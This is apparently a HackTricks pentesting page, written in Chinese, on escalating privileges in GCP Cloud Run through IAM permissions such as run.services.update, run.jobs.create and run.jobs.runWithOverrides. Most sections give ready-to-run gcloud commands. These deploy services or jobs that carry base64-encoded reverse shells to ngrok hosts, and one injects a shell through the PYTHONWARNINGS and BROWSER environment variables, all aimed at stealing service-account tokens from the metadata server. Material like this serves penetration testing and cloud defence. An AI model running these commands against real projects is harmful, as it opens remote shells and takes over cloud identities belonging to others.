GCP - Run Privesc

支持 HackTricks

Cloud Run

有关 Cloud Run 的更多信息,请查看:

run.services.create , iam.serviceAccounts.actAs, run.routes.invoke

拥有这些权限的攻击者可以创建一个运行任意代码的运行服务(任意 Docker 容器),将服务账户附加到它,并使代码从元数据中提取服务账户令牌

此方法的利用脚本可以在 这里 找到,Docker 镜像可以在 这里 找到。

请注意,当使用 gcloud run deploy 而不是仅创建服务时,它需要 update 权限。在 这里查看示例

run.services.update , iam.serviceAccounts.actAs

与前一个类似,但更新服务:

# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

给自己在 Cloud Run 上的先前权限。

run.jobs.create, run.jobs.run, iam.serviceaccounts.actAs,(run.jobs.get)

启动一个带有反向 shell 的作业,以窃取命令中指示的服务账户。您可以在此处找到漏洞利用

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

与之前类似,可以更新作业并更新服务账户命令执行它

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now

run.jobs.setIamPolicy

授予自己对 Cloud Jobs 的先前权限。

run.jobs.run, run.jobs.runWithOverrides, (run.jobs.get)

利用作业执行的环境变量执行任意代码,并获取反向 shell 以转储容器的内容(源代码)并访问元数据中的 SA:

gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"

参考文献

支持 HackTricks

Last updated